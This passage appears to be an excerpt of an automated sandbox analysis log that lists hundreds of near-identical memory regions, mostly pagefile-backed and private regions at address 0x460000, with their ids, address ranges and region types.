pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10549 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10550 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10551 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10552 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10553 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10554 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10555 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10556 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10557 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10558 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10559 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10560 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10561 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10562 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10563 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10564 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10565 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10566 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10567 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10568 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10569 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10570 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10571 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10572 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10573 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10574 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10575 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10576 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10577 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10578 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10579 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10580 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10581 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10582 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10583 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10584 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10585 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10586 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10587 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10588 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10589 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10590 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10591 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10592 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10593 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10594 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10595 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10596 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10597 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10598 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 10599 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10600 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10601 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10602 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10603 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10604 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10605 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10606 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10607 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10608 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10609 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10610 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10611 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10612 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10613 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10614 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10615 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10616 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10617 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10618 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10619 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10620 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10621 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10622 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10623 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10624 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10625 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10626 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10627 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10628 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10629 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10630 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10631 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10632 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10633 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10634 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10635 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10636 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10637 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10638 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10639 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10640 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10641 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10642 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10643 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10644 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10645 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10646 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10647 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10648 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10649 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10650 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10651 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10652 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10653 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10654 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10655 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10656 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10657 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10658 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10659 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10660 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10661 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10662 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10663 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10664 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10665 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10666 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10667 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10668 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10669 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10670 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10671 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10672 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10673 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10674 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10675 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10676 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10677 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10678 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10679 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10680 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10681 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10682 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10683 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10684 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10685 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10686 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10692 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10693 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10694 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10695 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10696 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10697 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10698 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10699 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10700 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10701 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10702 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10703 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10704 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10705 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10706 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10707 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10708 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10709 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10710 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10711 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10712 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10713 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10714 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10715 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10716 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10717 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10718 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 10719 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10720 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10721 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10722 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10723 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10724 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10725 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10726 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10727 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10728 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10729 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10730 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10731 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10732 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10733 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10734 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10735 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10736 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10737 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10738 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10739 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10740 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10741 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = 